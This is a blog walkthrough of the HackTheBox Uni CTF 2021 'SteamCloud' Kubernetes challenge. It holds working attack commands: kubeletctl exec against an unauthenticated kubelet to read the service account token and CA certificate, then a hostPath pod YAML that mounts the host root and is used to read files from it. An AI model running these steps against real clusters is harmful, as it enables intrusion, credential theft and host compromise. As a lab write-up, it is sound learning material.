arqsz@home:~$

HackTheBox Uni CTF 2021 (Quals) - SteamCloud Writeup


Uni CTF 2021 (Quals) was an event organized by a team from HackTheBox. I participated with my team pwrsyntaxerror which is part of White Hats Scientific Circle from WUST. I found one challenge especially interesting so I thought it may be fun to share my walkthrough with all of you.

Description of the challenge

Enumeration

What we have at the beginning is the IP address (in this case 10.129.96.98) of, what I assumed from the description, Kubernetes cluster. With this kind of challenges, it is almost always good idea to enumerate with nmap (or its equivalent). I used simple commands which I always run in the background so when I come back, I have results waiting for me. First, I want to know which ports are open:

$ nmap -p- -v -oN nmap-all.res 10.129.96.98
Nmap scan report for 10.129.96.98
Host is up (0.074s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown

Then, I want to know what is really working behind those ports. Nmap command listed below allows me to do just that:

$ nmap -p 22,2379,2380,8443,10249,10250,10256 -sC -sV -oN nmap-detailed.res 10.129.96.98
Nmap scan report for 10.129.96.98
Host is up (0.062s latency).

PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 e7:0d:f9:66:cf:c8:54:e4:72:3f:87:f2:60:34:e9:1c (RSA)
|   256 35:21:a2:1f:a9:dd:32:83:67:c8:97:7f:17:61:27:d0 (ECDSA)
|_  256 22:08:6d:95:2c:9a:5e:06:58:e5:5e:57:a3:c2:35:84 (ED25519)
2379/tcp  open  ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.98, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-17T14:44:56
|_Not valid after:  2022-11-17T14:44:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
2380/tcp  open  ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.98, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-17T14:44:56
|_Not valid after:  2022-11-17T14:44:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
8443/tcp  open  ssl/https-alt
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.98, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-11-16T14:44:52
|_Not valid after:  2024-11-16T14:44:52
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   h2
|_  http/1.1
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
| ssl-cert: Subject: commonName=steamcloud@1637160300
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2021-11-17T13:44:59
|_Not valid after:  2022-11-17T13:44:59
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  h2
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This looks just like ordinary, not secured from the world kube cluster… or does it?

Minikube’s 8443 port is opened so I started from there.

According to official docs, minikube is local Kubernetes, focusing on making it easy to learn and develop for Kubernetes. We used that to learn Kuberenetes before our last edition of Break The Syntax CTF (2020). It exposes port 8443 by default.

kubectl is an official tool that allow developers or admins to control the Kubernetes cluster manager (in our case - minikube). I configured the kubectl in ~/.kube/config with proper IP address and tried to use that to access manager but unfortunately it was hidden behind the authentiation.

Rejected response from Kubernetes cluster

Without any credentials or tokens I was stuck there. Fortunately, I found one interesting thing when I was trying to make sense of the nmap output - port 10250 is the default port for kubelet.

The kubelet is the primary “node agent” that runs on each node.

Fortunately, there is already a tool that eases interactions with any kubelet - kubeletctl. What we need is a Kubernetes cluster (checked ), an open 10250 port (checked ) and… that’s it! I cloned the kubeletctl repository and tried to run a few commands. To my surprise, I had rights to list running pods (with, obviously, runningpods flag):

$ kubeletctl -s 10.129.96.98 runningpods 

It returned a json with details of all running pods. One entry caught my attention (was different than the others which were rather default):

{
    "metadata": {
        "name": "nginx",
        "namespace": "default",
        "uid": "...",
        "creationTimestamp": null
    },
    "spec": {
        "containers": [
            {
                "name": "nginx",
                "image": "sha256:...",
                "resources": {}
            }
        ]
    },
    "status": {}
}

Initial access

At this point, I had pod and its container name - what I could do now is execute commands in that container. One thing important to mention about Kubernetes - service account tokens and certificates are automatically mounted in /run/kubernetes.io/secrets/serviceaccount unless specified otherwise. It is a good idea to check whether it is the case here:

$ kubeletctl -s 10.129.96.98 exec "ls -la /run/secrets/kubernetes.io/serviceaccount/" -p nginx -c nginx
Kubeletctl executing ls on `nginx` pod

I sometimes used timeout 50 in my commands, because they loved to hang and not want to stop. It just killed them after 50 seconds so arqsz 1:0 stubborn commands

And success! We have code execution on our pod and we can extract service account’s tokens to interact with Kubernetes cluster.

Let’s try to extract those credentials and use them in kubectl:

$ kubeletctl -s 10.129.96.98 exec "cat /run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx -i | tee ca.crt
$ kubeletctl -s 10.129.96.98 exec "cat /run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx -i | tee token

tee allows me to see the output of commands but simultanously to save it to a file

Kubectl needs service account token (checked ), certificate (checked ) and an IP (checked ) so we are good to go with privilege escalation via pod escaping (or as I call it - pod racing)

Privilege escalation (escape from the pod)

Authenticated kubectl allows us to create Pods specified in YAML files - so let’s create one:

apiVersion: v1
kind: Pod
metadata:
  annotations:
  labels:
  name: attack-pod
  namespace: default
spec:
  containers:
  - image: nginx:1.14.2
    imagePullPolicy: IfNotPresent
    name: attack-container
    volumeMounts:
    - mountPath: /mnt/root
      name: mount-root
  volumes:
  - name: mount-root
    hostPath:
      path: /

I used the same container image as in the original nginx container 1.14.2 just in case I was not allowed to pull images. Root directory from host filesystem was mounted in /mnt in pod’s container so we had an access to it.

$ kubectl --token=`cat token` --server=https://10.129.96.98:8443 --certificate-authority=ca.crt get pod
$ kubectl --token=`cat token` --server=https://10.129.96.98:8443 --certificate-authority=ca.crt apply -f attack-pod.yaml
$ kubectl --token=`cat token` --server=https://10.129.96.98:8443 --certificate-authority=ca.crt get pod

And another success. Now all is left is to extract flag and submit it:

$ kubeletctl -s 10.129.96.98 exec "ls -la /mnt/root/root" -p attack-pod -c attack-container -i 
$ kubeletctl -s 10.129.96.98 exec "cat /mnt/root/root/flag.txt" -p attack-pod -c attack-container -i 

Flag: HTB{d0n7_3Xpo53_Ku83L37}

Summary

It was really interesting challenge during which I definitely learned something new. More writeups may appear on my website in the future. Thanks for reading!